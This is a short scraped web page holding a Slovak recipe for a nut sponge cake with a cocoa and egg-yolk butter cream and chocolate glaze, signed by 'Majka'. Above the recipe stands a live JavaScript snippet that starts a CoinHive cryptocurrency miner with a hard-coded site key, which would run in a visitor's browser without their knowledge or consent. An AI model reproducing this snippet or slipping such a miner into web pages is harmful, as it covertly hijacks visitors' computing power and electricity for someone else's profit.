

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



25 dkg práškového cukru, 25 dkg orechov a sneh z piatich bielkov spolu vymiešame a upečieme ako piškótové cesto na papieri na pečenie. Na krém potrebujeme 5 žĺtkov, 2 PL kakaa, 20 dkg práškového cukru, 2-3 lyžice vody. Za studena všetko vymiešame a varíme nad parou pokiaľ zmes zhustne. Do vlažnej zmesi pridáme jednu polovicu palmarínu a spolu vymiešame. Nakoniec pridáme 25 - 30 dkg masla a vyšľaháme. Hotový koláč polejeme čokoládovou polevou.

Dobrá chuť praje Majka.